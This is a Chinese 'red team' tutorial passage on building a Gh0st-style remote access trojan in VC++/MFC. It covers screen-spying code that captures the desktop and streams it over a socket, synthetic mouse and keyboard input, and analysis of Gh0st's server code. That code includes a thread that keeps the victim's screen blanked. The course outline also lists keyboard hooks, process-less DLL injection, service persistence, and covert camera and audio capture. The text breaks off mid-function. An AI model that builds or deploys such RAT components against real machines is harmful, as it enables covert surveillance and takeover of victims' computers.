红队专题-从零开始VC++C/S远程控制软件RAT-MFC-远程桌面屏幕监控
  N9D7V8EkcUNl 2023年11月14日 37 0


红队专题-从零开始VC++C/S远程控制软件RAT-MFC-远程桌面屏幕监控_开发语言


红队专题

  • 招募六边形战士队员
  • [24]屏幕监控-(1)屏幕查看与控制技术的讲解
  • 图像压缩算法
  • 图像数据转换
  • 其他
  • [25]---屏幕监控(2)查看屏幕的实现
  • 添加 CScreen类
  • 获取图像
  • 声明变量
  • stdafx.h 头文件处理
  • [26]---屏幕监控(3)查看屏幕的实现
  • 不使用算法处理的发送函数
  • 7.1 屏幕抓图显示
  • 创建对话框工程,拉入图片显示控件
  • 修改控件为位图 为控件增加变量
  • 类CScreen_demoDlg添加Copybitmap成员函数
  • 添加确定按钮消息并添加代码
  • BMP位图结构分析,将抓取的图像保存成文件
  • BITMAP 位图结构
  • bmp文件结构解析
  • tagBITMAPFIlEHEADER
  • BITMAPINFOHEADER
  • 调色板数据 tagRGBQUAD
  • tagBITMAPINFO
  • 位图数据
  • 保存 bmp 图像
  • 添加类的成员函数
  • 7.3 虚拟键盘和虚拟鼠标的一个小demo
  • 认识几个API
  • SetCursorPos
  • mouse_event
  • keybd_event
  • 添加相应变量
  • 7.4 gh0st远程桌面管理的分析 抓取与传输
  • 文件望远镜搜索OnScreenspy() 事件
  • Loop_ScreenManager
  • CScreenManager 构造函数
  • WorkThread
  • CScreenSpy构造函数
  • ConstructBI 函数定义
  • sendFirstScreen
  • 7.5 服务端编写
  • 7.6 主控端的编写
  • 7.7 完善主控端
  • 桌面管理并添加代码



[24]屏幕监控-(1)屏幕查看与控制技术的讲解

屏幕监控的流程

服务端
while(true)
{
    获取图像数据();
    //
    发送图像数据();
}

客户端
while()
{
    //
    接受图像数据();
    显示图像();
}

查看屏幕的 define 宏信号

1024*768 分辨率 产生 大小 bmp
2.25M
肉眼 每秒24帧

基本流程:获取图像 — 发送图像 — 显示图像

实际流程:获取图像 — 压缩/转换图像 — 发送图像 — 解压/转换图像 — 显示图像

图像压缩算法

char *p;   // 字符数组 
int GetScreenSize();
p = new GetScreenSize(); p[] = {BYTE}; //unsigned char
p[100] = {aaaccccbbbbbbaeccefsgsdf...};

RLE算法(Run-Length Encoding) LZW算法(Lempel-Ziv-Welch Encoding) 霍夫曼压缩 RAR - LZW

红队专题-从零开始VC++C/S远程控制软件RAT-MFC-远程桌面屏幕监控_c++_02

RLE:{aaaccccbbbbbba} 压缩{a3c4b5a1} 解压{aaaccccbbbbba}
适用于屏幕数据中存在大量同样数据

RLE变种:{abcbcbcbcabcbca} 压缩{a1bc4a1bc2a1}

LZW:{abcbcbcbcabcbcab} 压缩字典{ab:1 cb:2 ca:3}{12223221}
解压:根据字典来解压 适用于任何情况

图像数据转换

zlib.lib JPEG类(有损压缩)
1024*768 分辨率
164kb

http://www.cctry.com/thread-50457-1-1.html //zlib库的使用
http://www.cctry.com/thread-5653-1-1.html //zlib库的例子

CapScreenJpeg JPEG算法

其他

隔行扫描算法 屏幕分块获取 屏幕数据判断
http://www.cctry.com/thread-45471-1-1.html //隔行扫描

隔行扫描:
灰鸽子 Delphi
DRAT Delphi
Gh0st C++

LZW:
Vipshell
守候远控

压缩库
PCShare

综合使用 + 汇编实现
1:150 倍

[25]—屏幕监控(2)查看屏幕的实现

红队专题-从零开始VC++C/S远程控制软件RAT-MFC-远程桌面屏幕监控_c语言_03


多线程 + 阻塞socket

1000-2000台

完成端口

60000 自由管理

DLL形式 注入-无进程

屏幕传输的压缩解压方案

键盘钩子

try优化

定制化远控
界面
命令
传输结构体

server.cpp  安装服务的操作	

主函数中 入口 注释   保留创建服务 
int _tmain(int argc, _TCHAR* argv[])
{
    /*
    SERVICE_TABLE_ENTRY DispatchTable[] =
    {
        //服务程序的名称和入口点
        {(wchar_t*)ServiceName,ServiceMain}, //服务名
        //SERVICE_TABLE_ENTRY结构必须以“NULL”结束
        {NULL,NULL}
    };
    //连接服务控制管理器,开始控制调度程序线程
    StartServiceCtrlDispatcherW(DispatchTable);
    InstallService();
    */
    ::CloseHandle(CreateThread(NULL,0,RunService,NULL,0,NULL));
    while(true)
    {
        Sleep(10000);
    }
	return 0;
}

创建线程 点击主机Runservice
子系统 入口点
//#pragma comment( linker, “/subsystem:windows /entry:wmainCRTStartup” )

有命令行能够显示

红队专题-从零开始VC++C/S远程控制软件RAT-MFC-远程桌面屏幕监控_bc_04

添加 CScreen类

红队专题-从零开始VC++C/S远程控制软件RAT-MFC-远程桌面屏幕监控_c++_05


红队专题-从零开始VC++C/S远程控制软件RAT-MFC-远程桌面屏幕监控_bc_06

获取图像

#include “StdAfx.h”
#include “Screen.h”
#include “math.h”

void CScreen::GetScreen()
{
    CDC* pDeskDC = CWnd::GetDesktopWindow()->GetDC(); //获取桌面画布对象   设备描述表CDC类指针     当前画布的GDI句柄
    CRect rc;   // 定义矩形
    CWnd::GetDesktopWindow()->GetClientRect(rc); //获取屏幕的客户区域
    int width = GetSystemMetrics(SM_CXSCREEN); //获取屏幕的宽度
    int height = GetSystemMetrics(SM_CYSCREEN); //获取屏幕的高度
    CDC memDC; //定义一个内存画布
    memDC.CreateCompatibleDC(pDeskDC); //创建一个兼容的画布
    CBitmap bmp;
    bmp.CreateCompatibleBitmap(pDeskDC,width,height); //创建兼容位图
    memDC.SelectObject(&bmp); //选中位图对象
    BITMAP bitmap;
    bmp.GetBitmap(&bitmap);
    panelsize = 0; //记录调色板大小   类成员  double panelsize;
    //需要增加颜色判断算法
    //bitmap.bmBitsPixel = 4; //更改颜色
    if (bitmap.bmBitsPixel<16) //判断是否为真彩色位图
    {
        panelsize = pow(2.0,(double)bitmap.bmBitsPixel*sizeof(RGBQUAD));
    }
    HeadTotal = (int)panelsize + sizeof(BITMAPINFO);
    pBMPINFO = (BITMAPINFO*)LocalAlloc(LPTR,sizeof(BITMAPINFO)+(int)panelsize);  // 结构体 BITMAPINFO *pBMPINFO;
    pBMPINFO->bmiHeader.biBitCount      = bitmap.bmBitsPixel;//4   
    pBMPINFO->bmiHeader.biClrImportant  = 0;
    pBMPINFO->bmiHeader.biCompression   = 0;
    pBMPINFO->bmiHeader.biHeight        = height;
    pBMPINFO->bmiHeader.biPlanes        = bitmap.bmPlanes;
    pBMPINFO->bmiHeader.biSize          = sizeof(BITMAPINFO);   //  位图大小   像素大小 
    pBMPINFO->bmiHeader.biSizeImage     = bitmap.bmWidthBytes*bitmap.bmHeight;
    pBMPINFO->bmiHeader.biWidth         = width;
    pBMPINFO->bmiHeader.biXPelsPerMeter = 0;
    pBMPINFO->bmiHeader.biYPelsPerMeter = 0;
    memDC.BitBlt(0,0,width,height,pDeskDC,0,0,SRCCOPY);   //  绘画  
    TotalSize = bitmap.bmWidthBytes * bitmap.bmHeight;
    pData = new BYTE[TotalSize];     //  压缩发送   类成员 私有变量  无符号指针
    if(::GetDIBits(memDC.m_hDC,bmp,0,bitmap.bmHeight,pData,pBMPINFO,DIB_RGB_COLORS)==0)
    {
        printf("Return 0\n");
        //delete pData;
        pData = NULL;
        return;
    }
}

声明变量

#include "Common.h"
#include "MySocket.h"

class CScreen
{
private:
    void GetScreen();
    void SendBmpHeaderinfo();
    void SendBmpData();
    BYTE* pData;
    BITMAPINFO *pBMPINFO;  
    CMySocket m_sock;
    UINT TotalSize;
    int HeadTotal;
    double panelsize;
public:
    HANDLE m_h;
    void CleanData();
    void SendScreenData();
    CScreen(void);
    ~CScreen(void);
    bool flag;
    SOCKET m_sock_screen;   // 初始化获取到的socket 的值
};

stdafx.h 头文件处理

// stdafx.h : 标准系统包含文件的包含文件,
// 或是经常使用但不常更改的
// 特定于项目的包含文件
//

#pragma once

#include <afx.h>
#include <afxwin.h>   // CDC
#include "targetver.h"

#include <stdio.h>
#include <tchar.h>



// TODO: 在此处引用程序需要的其他头文件
#include <winsock2.h>
#include <windows.h>

[26]—屏幕监控(3)查看屏幕的实现

不使用算法处理的发送函数

common定义消息值 (server,client)

#define SCREEN 0x0E

  1. 头信息
void CScreen::SendBmpHeaderinfo()
{
    BMPDATA bmpdata;
    memset(&bmpdata,0,sizeof(BMPDATA));
    bmpdata.Id = 0;
    bmpdata.Show = false;
    bmpdata.Size = TotalSize;
    bmpdata.HeadSize = HeadTotal;
    memcpy(&bmpdata.bmpinfo,pBMPINFO,HeadTotal);
    
    MSGINFO_S msg;
    memset(&msg,0,sizeof(MSGINFO_S));
    msg.Msg_id = SCREEN;
    memcpy(msg.context,&bmpdata,sizeof(BMPDATA));

    m_sock.MySend(m_sock_screen,(char*)&msg,sizeof(MSGINFO_S));    //MySocket 类的成员
}
  1. 位图结构体
  2. 位图信息
void CScreen::SendBmpData()
{
    MSGINFO_S msg;
    memset(&msg,0,sizeof(MSGINFO_S));
    msg.Msg_id = SCREEN;

    BMPDATA bmpdata;
    memset(&bmpdata,0,sizeof(BMPDATA));
    bmpdata.Id = 1;
    int Count = TotalSize / 512 + 1;
    if(TotalSize % 512 == 0)
    {
        Count = Count - 1;
    }
    bmpdata.Show = false;
    UINT Begin,End;
    End = 512;
    for(int i=0;i<Count;i++)
    {
        memset(bmpdata.Data,0,512);
        memset(msg.context,0,sizeof(msg.context));
        Begin = i * 512;
        bmpdata.Begin = Begin;
        if(i == Count - 1)
        {
            bmpdata.Show = true;
            bmpdata.Id = 2;
            bmpdata.Size = TotalSize;
            for(UINT j=Begin,k=0;j<TotalSize;j++,k++)
            {
                bmpdata.Data[k] = pData[j];
            }
        }
        else
        {
            for(UINT j=Begin,k=0;k<512;j++,k++)
            {
                bmpdata.Data[k] = pData[j];
            }
        }
        //printf("%d\n",i);
        memcpy(msg.context,(char*)&bmpdata,sizeof(BMPDATA));
        m_sock.MySend(m_sock_screen,(char*)&msg,sizeof(MSGINFO_S));
        //发送数据
    }
}

BYTE pData[100];
MSG msg; //10;

UINT flag = 0;

for(;;)
{
    //pData 读取 flag --- flag + 10 //第一次 0 - 10 //第二次 10 - 20 //第三次 20 - 30
    //flag = flag + 10
    //send();
}

7.1 屏幕抓图显示

客户端: visual stdio2010 (学员自己下载,安装)
服务端: visual C++ 6.0 +platform SDK February2003 (学员自己下载,安装)

MSDN文档
https://learn.microsoft.com/zh-cn/

(1)大规模软件开发的设计思想。
(2)Windows下图形界面编程、各种控件的实际应用(本教程将会使用到各种Windows控件)。
(3)Windows下多线程程序的开发、以及线程同步,互斥等。
(4)Windows下程序间利用Socket通信。
(5)详细理解Winddos下远程注入技术。
(6)Windows服务程序的开发。(服务方式启动是服务端启动方式的一种)
(7)如何书写更加简洁 ,易于维护的代码。
通过本教程学员将得到:
(1) 本远程管理的源代码。
(2) 教程中所有Demo的源码。
(3) 作者的一些小工具。
课时安排:(每节课20—30分钟,太长的教程看了就想睡觉:-D)
(1) 客户端界面的设计和编写(10课时)(注:支持窗口的伸缩以及窗口中控件的伸缩)
(2) 从Gh0st客户端中分离出Socket数据传输的内核、分析数据传输的代码体会作者的设计思想,并加入客户端(5课时)
(3) 创建服务端,并从Gh0st服务端中分离出Socket数据传输的内核,分析数据传输的代码体会作者的设计思想,并加入服务端(5课时)
(4) 远程终端管理的编写(5课时)
(5) 远程进程管理的编写(4课时)
(6) 远程窗口管理的编写(4课时)(注:支持窗口的隐藏,最大化,最小化)
(7) 远程桌面管理的编写(6课时)(注:可以从中学习到BMP位图格式,屏幕的抓取,像素的比较)
(8) 远程文件管理的编写(6课时)
(9) 远程语音管理的编写(4课时)
(10) 远程视频管理的编写(6课时)(注:支持无驱摄像头,视频压缩,视频录像)
(11) 服务端安装和启动的编写:服务启动(5课时)ActiveX启动(4课时)
(12) 远程服务管理的编写(6课时)
(13) 远程注册表管理的编写(6课时)
(14) 从客户端生成服务端,远程连接数据加密(4课时)

HDC CreateDC(        //得到指定设备名的设备描述表
  LPCTSTR lpszDriver,        // driver name  设备名
  LPCTSTR lpszDevice,        // device name   特殊设备名
  LPCTSTR lpszOutput,        // not used; should be NULL 通常设置为NULL   兼容x86x64
  CONST DEVMODE* lpInitData  // optional printer data  驱动程序的初始化DEVMODE结构指针  NULL
);

得到设备名将设备打开



HDC CreateCompatibleDC(    	//为设备描述表创建兼容的内存`设备描述表`
  HDC hdc   // handle to DC     设备句柄
);

返回值为设备的内存描述表
将打开的设备描述表选定到内存


int GetDeviceCaps(                        //得到指定设备的信息  高度 宽度
  HDC hdc,     // handle to DC               //设备句柄 设备描述表
  int nIndex   // index of capability        //指定要得到那个方面的信息
);
https://learn.microsoft.com/zh-cn/windows/win32/api/wingdi/nf-wingdi-getdevicecaps



HBITMAP CreateCompatibleBitmap(            // 创建一个与设备描述表兼容的位图
  HDC hdc,        // handle to DC                  //设备描述表
  int nWidth,     // width of bitmap, in pixels        //位图的宽度
  int nHeight     // height of bitmap, in pixels       //位图的高度
);



HGDIOBJ SelectObject(        把对象选到内存设备描述表中         
  HDC hdc,          // handle to DC           //设备描述表
  HGDIOBJ hgdiobj   // handle to object        //要加入的对象
);

设备描述表与新加入的对象兼容关联 

BOOL BitBlt(                                    //对指定的原设备环境区域中的像素进行位块转换  可以理解为抓图
  HDC hdcDest, // handle to destination DC       //设备对象                 
  int nXDest,  // x-coord of destination upper-left corner        //目标矩型区域的左上角x坐标
  int nYDest,  // y-coord of destination upper-left corner        //目标矩形区域的左上角y坐标
  int nWidth,  // width of destination rectangle                  //目标巨型区域的逻辑宽度
  int nHeight, // height of destination rectangle                  //目标巨型区域的逻辑高度
  HDC hdcSrc,  // handle to source DC                             //源设备句柄
  int nXSrc,   // x-coordinate of source upper-left corner       //源矩型区域的左上角x坐标
  int nYSrc,   // y-coordinate of source upper-left corner         //源矩型区域的左上角y坐标
  DWORD dwRop  // raster operation code                             //光栅操作代码
);

创建对话框工程,拉入图片显示控件

红队专题-从零开始VC++C/S远程控制软件RAT-MFC-远程桌面屏幕监控_c++_07


新建工程 基本对话框

红队专题-从零开始VC++C/S远程控制软件RAT-MFC-远程桌面屏幕监控_bc_08

修改控件为位图 为控件增加变量

红队专题-从零开始VC++C/S远程控制软件RAT-MFC-远程桌面屏幕监控_开发语言_09

类CScreen_demoDlg添加Copybitmap成员函数

HBITMAP
Copybitmap(LPRECT lprect)

红队专题-从零开始VC++C/S远程控制软件RAT-MFC-远程桌面屏幕监控_bc_10


给区域 拷贝出来 bitmap

红队专题-从零开始VC++C/S远程控制软件RAT-MFC-远程桌面屏幕监控_c++_11

HDC hscrdc, hmemdc;// 屏幕和内存设备描述表 
	HBITMAP hbitmap, holdbitmap;// 位图句柄 
	int nx, ny, nx2, ny2;// 选定区域坐标 
	int nwidth, nheight;// 位图宽度和高度 
	int xscrn, yscrn;// 屏幕分辨率 
	// 确保选定区域不为空矩形
	if (IsRectEmpty(lprect))
		return NULL;
	//为屏幕创建设备描述表   整个桌面 
	hscrdc = CreateDC("display", NULL, NULL, NULL);
	//为屏幕设备描述表创建兼容的内存设备描述表
	hmemdc = CreateCompatibleDC(hscrdc);
	// 获得选定区域坐标
	nx = lprect->left;
	ny = lprect->top;
	nx2 = lprect->right;
	ny2 = lprect->bottom;
	// 获得屏幕分辨率
	xscrn = GetDeviceCaps(hscrdc, HORZRES);
	yscrn = GetDeviceCaps(hscrdc, VERTRES);
	//确保选定区域是可见的
	if (nx < 0)
		nx = 0;
	if (ny < 0)
		ny = 0;
	if (nx2 > xscrn)
		nx2 = xscrn;
	if (ny2 > yscrn)
		ny2 = yscrn;
	
	nwidth = nx2 - nx;
	nheight = ny2 - ny;
	
	// 创建一个与屏幕设备描述表兼容的位图
	hbitmap = CreateCompatibleBitmap(hscrdc, nwidth, nheight);
	
	// 把新位图选到内存设备描述表中
	holdbitmap = (HBITMAP)SelectObject(hmemdc, hbitmap);
	// 把屏幕设备描述表拷贝到内存设备描述表中
	BitBlt(hmemdc, 0, 0, nwidth, nheight,hscrdc, nx, ny, SRCCOPY);
	//得到屏幕位图的句柄
	hbitmap = (HBITMAP)SelectObject(hmemdc, holdbitmap);
	
	//清除 
	DeleteDC(hscrdc);
	DeleteDC(hmemdc);
	
	// 返回位图句柄
	return hbitmap;

添加确定按钮消息并添加代码

红队专题-从零开始VC++C/S远程控制软件RAT-MFC-远程桌面屏幕监控_开发语言_12

LPRECT temprect;   //创建一块区域
	HBITMAP tempmap;
	
	temprect = new RECT();
	temprect->bottom = 200;
	temprect->left = 0;
	temprect->right = 200;
	temprect->top = 0;
	tempmap = Copybitmap(temprect);
	//显示获取的屏幕
	m_pic.SetBitmap(tempmap);
	delete temprect;
	//CDialog::OnOK();

更改资源名 IDC_STATIC_BITMAP

红队专题-从零开始VC++C/S远程控制软件RAT-MFC-远程桌面屏幕监控_开发语言_13

添加变量 m_pic 为 控件形式

c + w

红队专题-从零开始VC++C/S远程控制软件RAT-MFC-远程桌面屏幕监控_c++_14


红队专题-从零开始VC++C/S远程控制软件RAT-MFC-远程桌面屏幕监控_位图_15

BMP位图结构分析,将抓取的图像保存成文件

BITMAP 位图结构

遵守了 微软的bmp 结构 还是一些数据

红队专题-从零开始VC++C/S远程控制软件RAT-MFC-远程桌面屏幕监控_位图_16

一个bmp文件由四部分组成:

struCt tagBITMAPFIlEHEADER    文件头

     strut tagBITMAPINFOHEADER     位图信息头

     typedef tagRGBQUAD      RGB
     位图数据

bmp文件结构解析

tagBITMAPFIlEHEADER

typedef struCt tagBITMAPFIlEHEADER

{

WORD bftype;     //BM  两个字节  头文件 表示 是个 bitmap文件

DWORD bfsiZe:    //位图文件大小  四个字节  双字

WORD bfReservedl;  //必须为0

WORD bgReserved2:   //必为0

DWORD bfoffBits: // 图像数据在  文件内的起始地址   字节

}BITMAPFILEHEADER;

红队专题-从零开始VC++C/S远程控制软件RAT-MFC-远程桌面屏幕监控_c语言_17


高高低低

16 94 04 00 49416

16进制 --> 10进制 /1024 = 293 kb

红队专题-从零开始VC++C/S远程控制软件RAT-MFC-远程桌面屏幕监控_开发语言_18

第多少个  字节  为数据文件 
36 00 00 00
36 --> 54

红队专题-从零开始VC++C/S远程控制软件RAT-MFC-远程桌面屏幕监控_c语言_19

BITMAPINFOHEADER

BITMAPINFOHEADER数据结构用于说明位图的大小,其定义为:

红队专题-从零开始VC++C/S远程控制软件RAT-MFC-远程桌面屏幕监控_开发语言_20

type struct tagBITMAPINFOHEADER
// 结构体成员 
{ 

DWORD biSize:   //结构BITMAPINFOHEADER所占用的存储容量,固定值为40 
28 00 00 00 --> 10进制  40
DWORD biWldth;  //给出该BMP文件所描述位图的宽度与高度
DWORD biHeight; //给出该BMP文件所描述位图的宽度与高度

C8 00 00 00     200
F4 01 00 00     1F4    500	
尺寸  200 x 500


WORD biPlanes: //它代表目标设备的平面数必须为1。

WORD 2个字节
01 00  


WORD biBitCount:  
    //它确定每个像素所需要的位数。 
    当图像为单色时,该字段的取值为1;
    当图像为16色时,该字段的取值为4;
    当图像为256 色时,该字段的取值为8;
    当图像为真彩色时,该字段的取值为24。

18  ->   24
 
DWORD biCOmpression;//它代表bottom—up类型位图的 压缩类型
E0 93 04 00  493E0  300000
DWORD  8个字节

红队专题-从零开始VC++C/S远程控制软件RAT-MFC-远程桌面屏幕监控_bc_21


4xBYTE = DWORD

4x2 = 8 bit

DWORD biSiZelmage; //给出该BMP 内图像数据占用的空间大小

DWORD biXPelsPerMeter://它们分别以每米像素数为单位,给出位图目的设备水平以及垂直方向的 分辨率

DWORD biYPelsPerMeter://它们分别以每米像素数为单位,给出位图目的设备水平以及垂直方向的 分辨率

DWORD biClrUsed;       //给出位图实际使用的颜色表中的 颜色变址数

DWORD biClrlmportant;//它给出位图显示过程中 重要颜色的变址数。

}BITMAPINFOHEADER;

调色板数据 tagRGBQUAD

typedef struct tagRGBQUAD

{

BYTE rgbBlue;

BYTE rgbGreen;

BYTE rgbRed; 

BYTE rgbReserved;       //它不代表任何意 义,必须取固定值00

}RGBQUAD;

tagBITMAPINFO

bmp结构还提供了另外一个结构类型

成员定义

tyPedef stmCt tagBITMAPINFO 

{

BITMAPINFOHEADER bmiHeader:   

RGBQUAD bmiC010ur[1];

}BITMAPINFO;

位图数据

注意位图数据的存放是倒序的 文件的第一行正是图像的最后一行

保存 bmp 图像

添加类的成员函数

BOOL

SaveBmp(CString lpFileName, HBITMAP hBitmap)

红队专题-从零开始VC++C/S远程控制软件RAT-MFC-远程桌面屏幕监控_位图_22

HDC hDC; 
        //设备描述表
         int iBits; 
          //当前显示分辨率下每个像素所占字节数
          WORD wBitCount; 
          //位图中每个像素所占字节数
          //定义调色板大小, 位图中像素字节大小 , 位图文件大小 , 写入文件字节数
          DWORD dwPaletteSize=0,dwBmBitsSize,dwDIBSize, dwWritten;
          BITMAP Bitmap; 
          //位图属性结构
          BITMAPFILEHEADER bmfHdr; 
          //位图文件头结构
          BITMAPINFOHEADER bi; 
          //位图信息头结构 
          LPBITMAPINFOHEADER lpbi;   
          //指向位图信息头结构  lp  指针  需要分配空间使用
          HANDLE fh, hDib, hPal;
          HPALETTE hOldPal=NULL;
          //定义文件,分配内存句柄,调色板句柄
          //计算位图文件每个像素所占字节数
          hDC = CreateDC("DISPLAY",NULL,NULL,NULL);
          iBits = GetDeviceCaps(hDC, BITSPIXEL) * 
          GetDeviceCaps(hDC, PLANES);
          DeleteDC(hDC);
		  iBits=24;
          if (iBits <= 1)
                    wBitCount = 1;
          else if (iBits <= 4)
                    wBitCount = 4;
          else if (iBits <= 8)
                    wBitCount = 8;
          else if (iBits <= 24)
                    wBitCount = 24;
          else
                    wBitCount = 32;
          //计算调色板大小
          if (wBitCount <= 8)
                    dwPaletteSize=(1<<wBitCount)*sizeof(RGBQUAD);
          //设置位图信息头结构
          GetObject(hBitmap, sizeof(BITMAP), (void*)&Bitmap);
          bi.biSize = sizeof(BITMAPINFOHEADER);
          bi.biWidth = Bitmap.bmWidth;
          bi.biHeight = Bitmap.bmHeight;
          bi.biPlanes = 1;
          bi.biBitCount = wBitCount;
          bi.biCompression = BI_RGB;
          bi.biSizeImage = 0;
          bi.biXPelsPerMeter = 0;
          bi.biYPelsPerMeter = 0;
          bi.biClrUsed = 0;
          bi.biClrImportant = 0;
          dwBmBitsSize = ((Bitmap.bmWidth*wBitCount+31)/32)*4*Bitmap.bmHeight;
		//为位图内容分配内存
          hDib = GlobalAlloc(GHND,dwBmBitsSize+dwPaletteSize+sizeof(BITMAPINFOHEADER));
          lpbi = (LPBITMAPINFOHEADER)GlobalLock(hDib);
           *lpbi = bi;
          // 处理调色板 
           hPal = GetStockObject(DEFAULT_PALETTE);
          if (hPal)
          {
             hDC = ::GetDC(NULL);
             hOldPal=SelectPalette(hDC,(HPALETTE)hPal,FALSE);
               RealizePalette(hDC);
          }
          // 获取该调色板下新的像素值
          GetDIBits(hDC,hBitmap,0,(UINT)Bitmap.bmHeight,(LPSTR)lpbi+sizeof(BITMAPINFOHEADER)+dwPaletteSize, (BITMAPINFO *)lpbi,DIB_RGB_COLORS);
           //恢复调色板 
          if (hOldPal)
          {
              SelectPalette(hDC, hOldPal, TRUE);
               RealizePalette(hDC);
               ::ReleaseDC(NULL, hDC);
          }
          //创建位图文件 
           fh=CreateFile(lpFileName, GENERIC_WRITE,0, NULL, CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL | FILE_FLAG_SEQUENTIAL_SCAN, NULL);
          if (fh==INVALID_HANDLE_VALUE)
                    return FALSE;
          // 设置位图文件头
            bmfHdr.bfType = 0x4D42; // "BM"
            dwDIBSize=sizeof(BITMAPFILEHEADER)+sizeof(BITMAPINFOHEADER)+dwPaletteSize+dwBmBitsSize; 
            bmfHdr.bfSize = dwDIBSize;
            bmfHdr.bfReserved1 = 0;
            bmfHdr.bfReserved2 = 0;
            bmfHdr.bfOffBits = (DWORD)sizeof(BITMAPFILEHEADER)+(DWORD)sizeof(BITMAPINFOHEADER)+dwPaletteSize;
             // 写入位图文件头
             WriteFile(fh, (LPSTR)&bmfHdr, sizeof(BITMAPFILEHEADER), &dwWritten, NULL);
             // 写入位图文件其余内容
            WriteFile(fh, (LPSTR)lpbi, sizeof(BITMAPINFOHEADER)+dwPaletteSize+dwBmBitsSize , &dwWritten, NULL); 
          //清除 
            GlobalUnlock(hDib);
             GlobalFree(hDib);
             CloseHandle(fh);
            return TRUE;
void CMy_ScreenDlg::OnOK() 
{
   
	m_pic.SetBitmap(tempmap);
	delete temprect;
	SaveBmp("123.bmp",tempmap);
	//CDialog::OnOK();
}

红队专题-从零开始VC++C/S远程控制软件RAT-MFC-远程桌面屏幕监控_位图_23

7.3 虚拟键盘和虚拟鼠标的一个小demo

认识几个API

SetCursorPos

左上

BOOL SetCursorPos(           //将光标移动到指定位置       
                       int X,      //光标位置
                       int Y
      );

mouse_event

VOID mouse_event(          //合成鼠标动作
                                DWORD dwFlags,     //动作的标识
                                DWORD dx,          //将要发生动作的位置相对于当前位置的距离
                                DWORD dy,          //
                                DWORD dwData,       如果dwFlags标识中含有MOUSEEVENTF_HWHEEL值,这个参数包含滚动的值
                                ULONG_PTR dwExtraInfo      //附加值
     );

https://learn.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-mouse_event

MOUSEEVENTF_LEFTDOWN
0x0002

MOUSEEVENTF_LEFTUP
0x0004

MOUSEEVENTF_RIGHTDOWN
0x0008

MOUSEEVENTF_RIGHTUP
0x0010

keybd_event

VOID keybd_event(          //合成键盘击键动作  
     BYTE bVk,                   //虚拟键值
    BYTE bScan,                  //硬件扫描码
    DWORD dwFlags,               //按下或抬起的状态
    PTR dwExtraInfo              //附加值
);

https://learn.microsoft.com/zh-cn/windows/win32/api/winuser/nf-winuser-keybd_event

KEYEVENTF_EXTENDEDKEY
0x0001

KEYEVENTF_KEYUP
0x0002

添加相应变量

红队专题-从零开始VC++C/S远程控制软件RAT-MFC-远程桌面屏幕监控_开发语言_24

添加鼠标"左键单击"并添加代码:
     UpdateData();
	SetCursorPos(m_x, m_y);           //鼠标移动到指定位置
	mouse_event(MOUSEEVENTF_LEFTDOWN, 0, 0, 0, 0);  //按下鼠标
	Sleep(10);                                  
	mouse_event(MOUSEEVENTF_LEFTUP, 0, 0, 0, 0);    //抬起鼠标
添加鼠标"右键单击"并添加代码:
        	UpdateData();
	SetCursorPos(m_x, m_y);                              //鼠标移动到指定位置
	mouse_event(MOUSEEVENTF_RIGHTDOWN, 0, 0, 0, 0);        //按下鼠标
	Sleep(10);
	mouse_event(MOUSEEVENTF_RIGHTUP, 0, 0, 0, 0);           //抬起鼠标

添加键盘"按下"事件并添加代码:
      	UpdateData(TRUE);
	Sleep(100);
	GetDlgItem(IDC_EDIT4)->SetFocus();  // 放置焦点
	keybd_event(m_key, MapVirtualKey(m_key, 0), 0, 0);
	Sleep(1);
	keybd_event(m_key, MapVirtualKey(m_key, 0),  KEYEVENTF_KEYUP, 0);

添加键盘"抬起"事件并添加代码:
       	UpdateData(TRUE);
	Sleep(100);
	GetDlgItem(IDC_EDIT4)->SetFocus();
	//keybd_event(m_key, MapVirtualKey(m_key, 0), 0, 0);
	//Sleep(1);
	keybd_event(m_key, MapVirtualKey(m_key, 0),  KEYEVENTF_KEYUP, 0);

 
ASCII码  美国信息交换标准代码
65 66 67
abc

7.4 gh0st远程桌面管理的分析 抓取与传输

从用户的点击菜单事件开始分析

文件望远镜搜索OnScreenspy() 事件

void CPcView::OnScreenspy() 
{
	// TODO: Add your command handler code here
	BYTE	bToken = COMMAND_SCREEN_SPY;   // 发送命令
	SendSelectCommand(&bToken, sizeof(BYTE));
}

红队专题-从零开始VC++C/S远程控制软件RAT-MFC-远程桌面屏幕监控_c++_25

在服务端 搜索 CKernelManager.cpp OnReceive

void CKernelManager::OnReceive(LPBYTE lpBuffer, UINT nSize)	// 收到消息
	case COMMAND_SCREEN_SPY: // 屏幕查看
		m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_ScreenManager,  
			(LPVOID)m_pClient->m_Socket, 0, NULL, true);
		break;

红队专题-从零开始VC++C/S远程控制软件RAT-MFC-远程桌面屏幕监控_bc_26


创建了个 线程

Loop_ScreenManager

Loop_ScreenManager

DWORD WINAPI Loop_ScreenManager(SOCKET sRemote)
{
	CClientSocket	socketClient;
	if (!socketClient.Connect(CKernelManager::m_strMasterHost, CKernelManager::m_nMasterPort))
		return -1;
	
	CScreenManager	manager(&socketClient);

	socketClient.run_event_loop();
	return 0;
}

CScreenManager 构造函数

//csereenManager这个类主要用于抓取好的数据的传输和一些控制的功能
CScreenManager::CScreenManager(CClientSocket *pClient):CManager(pClient)
{
	m_bAlgorithm = ALGORITHM_SCAN;   // 屏幕扫描算法
	m_biBitCount = 8;
	m_pScreenSpy = new CScreenSpy(8);
	m_bIsWorking = true;
	m_bIsBlankScreen = false;
	m_bIsBlockInput = false;
	m_bIsCaptureLayer = false;
//启动两个功能  ControlThread 用于 主控端对服务器的控制
    
 
  
 
   //workthread 的分析
	m_hWorkThread = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)WorkThread, this, 0, NULL, true);
	m_hBlankThread = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)ControlThread, this, 0, NULL, true);
}
// 创建这个线程主要是为了保持一直黑屏
DWORD WINAPI CScreenManager::ControlThread(LPVOID lparam)
{
	static	bool bIsScreenBlanked = false;
	CScreenManager *pThis = (CScreenManager *)lparam;
	while (pThis->IsConnect())
	{
		// 加快反应速度
		for (int i = 0; i < 100; i++)
		{
			if (pThis->IsConnect())
			{
				// 分辨率大小改变了
				if (pThis->IsMetricsChange())
					pThis->ResetScreen(pThis->GetCurrentPixelBits());
__asm
{
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
}
				Sleep(10);
			}
			else
				break;
		}
		if (pThis->m_bIsBlankScreen)
		{
